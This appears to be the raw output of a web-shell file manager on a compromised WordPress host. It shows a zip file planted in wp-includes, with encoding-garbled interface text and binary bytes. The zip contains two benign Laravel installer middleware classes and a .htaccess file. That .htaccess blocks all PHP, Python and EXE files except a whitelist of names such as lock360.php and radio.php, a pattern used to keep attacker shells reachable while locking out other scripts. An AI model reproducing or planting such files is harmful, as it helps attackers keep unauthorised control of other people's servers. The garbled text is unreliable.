���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/zhaagvlk/public_html/wp-includes/Requests/library/block-bindings/Middleware.zip
���ѧ٧ѧ�
PK G(u\d�'o canInstall.phpnu �[��� <?php namespace RachidLaasri\LaravelInstaller\Middleware; use Closure; use Redirect; class canInstall { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return \Illuminate\Http\RedirectResponse|mixed */ public function handle($request, Closure $next) { if ($this->alreadyInstalled()) { $installedRedirect = config('installer.installedAlreadyAction'); switch ($installedRedirect) { case 'route': $routeName = config('installer.installed.redirectOptions.route.name'); $data = config('installer.installed.redirectOptions.route.message'); return redirect()->route($routeName)->with(['data' => $data]); break; case 'abort': abort(config('installer.installed.redirectOptions.abort.type')); break; case 'dump': $dump = config('installer.installed.redirectOptions.dump.data'); dd($dump); break; case '404': case 'default': default: abort(404); break; } } return $next($request); } /** * If application is already installed. * * @return bool */ public function alreadyInstalled() { return file_exists(storage_path('installed')); } } PK G(u\9��ܤ � .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK G(u\>�)�T T canUpdate.phpnu �[��� <?php namespace RachidLaasri\LaravelInstaller\Middleware; use Closure; class canUpdate { use \RachidLaasri\LaravelInstaller\Helpers\MigrationsHelper; /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { $updateEnabled = filter_var(config('installer.updaterEnabled'), FILTER_VALIDATE_BOOLEAN); switch ($updateEnabled) { case true: $canInstall = new canInstall; // if the application has not been installed, // redirect to the installer if (! $canInstall->alreadyInstalled()) { return redirect()->route('LaravelInstaller::welcome'); } if ($this->alreadyUpdated()) { abort(404); } break; case false: default: abort(404); break; } return $next($request); } /** * If application is already updated. * * @return bool */ public function alreadyUpdated() { $migrations = $this->getMigrations(); $dbMigrations = $this->getExecutedMigrations(); // If the count of migrations and dbMigrations is equal, // then the update as already been updated. if (count($migrations) == count($dbMigrations)) { return true; } // Continue, the app needs an update return false; } } PK G(u\d�'o canInstall.phpnu �[��� PK G(u\9��ܤ � X .htaccessnu �[��� PK G(u\>�)�T T 5 canUpdate.phpnu �[��� PK � �
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | ���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��: 0 |
proxy
|
phpinfo
|
���ѧ����ۧܧ�